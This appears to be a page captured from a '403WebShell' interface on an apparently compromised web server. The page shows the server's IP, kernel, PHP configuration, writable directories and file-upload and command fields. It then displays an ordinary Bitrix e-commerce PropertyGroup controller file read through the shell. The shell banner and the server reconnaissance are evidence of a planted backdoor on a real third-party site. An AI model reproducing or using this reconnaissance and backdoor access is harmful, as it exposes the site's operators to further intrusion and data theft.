%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.147.46.136
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/controller/propertygroup.php
<?php


namespace Bitrix\Sale\Controller;


use Bitrix\Main\Engine\Response\DataType\Page;
use Bitrix\Main\Error;
use Bitrix\Main\Localization\Loc;
use Bitrix\Sale\Result;

class PropertyGroup extends Controller
{
	//region Actions
	public function getFieldsAction()
	{
		$entity = new \Bitrix\Sale\Rest\Entity\PropertyGroup();
		return ['PROPERTY_GROUP'=>$entity->prepareFieldInfos(
			$entity->getFields()
		)];
	}

	public function addAction(array $fields)
	{
		$r = new Result();

		$propertyGroupId = 0;
		$orderPropsGroup = new \CSaleOrderPropsGroup();

		if((int)$fields['PERSON_TYPE_ID']<=0)
			$r->addError(new Error(Loc::getMessage('CONTROLLER_ERROR_PERSON_TYPE_ID_FIELD_EMPTY'), 200950000001));
		if(trim($fields['NAME'])=='')
			$r->addError(new Error(Loc::getMessage('CONTROLLER_ERROR_PERSON_TYPE_ID_FIELD_EMPTY'), 200950000002));

		if($r->isSuccess())
		{
			$propertyGroupId = $orderPropsGroup->Add($fields);
			if ((int)$propertyGroupId <= 0)
			{
				if ($ex = self::getApplication()->GetException())
				{
					$r->addError(new Error($ex->GetString(), $ex->GetID()));
				}
				else
				{
					$r->addError(new Error(Loc::getMessage('CONTROLLER_ERROR_ADD_PROPS_GROUP'), 200950000003));
				}
			}
		}

		if(!$r->isSuccess())
		{
			foreach ($r->getErrors() as $error)
			{
				$this->addError(new Error($error->getMessage(), 200950000006));
			}
			return null;
		}
		else
			return ['PROPERTY_GROUP'=>$this->get($propertyGroupId)];


	}

	public function updateAction($id, array $fields)
	{
		$orderPropsGroup = new \CSaleOrderPropsGroup();

		$r = $this->exists($id);
		if($r->isSuccess())
		{
			if(isset($fields['PERSON_TYPE_ID']))
				unset($fields['PERSON_TYPE_ID']);

			if(!$orderPropsGroup->Update($id, $fields))
			{
				if ($ex = self::getApplication()->GetException())
				{
					self::getApplication()->ResetException();
					self::getApplication()->ThrowException($ex->GetString(), 200950000008);

					$r->addError(new Error($ex->GetString(), $ex->GetID()));
				}
				else
					$r->addError(new Error(Loc::getMessage('CONTROLLER_ERROR_UPDATE_PROPS_GROUP', ['#ID#'=>$id]), 200950000004));
			}
		}

		if($r->isSuccess())
		{
			return ['PROPERTY_GROUP'=>$this->get($id)];
		}
		else
		{
			$this->addErrors($r->getErrors());
			return null;
		}
	}

	public function deleteAction($id)
	{
		$orderPropsGroup = new \CSaleOrderPropsGroup();

		$r = $this->exists($id);
		if($r->isSuccess())
		{
			if (!$orderPropsGroup->Delete($id))
			{
				if ($ex = self::getApplication()->GetException())
				{
					$r->addError(new Error($ex->GetString(), $ex->GetID()));
				}
				else
					$r->addError(new Error(Loc::getMessage('CONTROLLER_ERROR_DELETE_PROPS_GROUP', ['#ID#'=>$id]),200950000005));
			}
		}

		if($r->isSuccess())
		{
			return true;
		}
		else
		{
			$this->addErrors($r->getErrors());
			return null;
		}
	}

	public function getAction($id)
	{
		$r = $this->exists($id);
		if($r->isSuccess())
		{
			return ['PROPERTY_GROUP'=>$this->get($id)];
		}
		else
		{
			$this->addErrors($r->getErrors());
			return null;
		}
	}

	public function listAction($select=[], $filter=[], $order=[], $start=0)
	{
		$result = [];

		$orderPropsGroup = new \CSaleOrderPropsGroup();

		$select = empty($select)? ['*']:$select;
		$order = empty($order)? ['ID'=>'ASC']:$order;

		$r = $orderPropsGroup->GetList($order, $filter, false, self::getNavData($start), $select);
		while ($l = $r->fetch())
			$result[] = $l;

		return new Page('PROPERTY_GROUPS', $result, function() use ($filter)
		{
			$orderPropsGroup = new \CSaleOrderPropsGroup();

			$list = [];
			$r = $orderPropsGroup->GetList([], $filter);
			while ($l = $r->fetch())
				$list[] = $l;

			return count($list);
		});
	}
	//end region

	protected function get($propertyGroupId)
	{
		$orderPropsGroup = new \CSaleOrderPropsGroup();

		return $orderPropsGroup->GetById($propertyGroupId);
	}

	protected function exists($id)
	{
		$r = new Result();
		if($this->get($id)['ID']<=0)
			$r->addError(new Error('property group is not exists', 200940400001));

		return $r;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit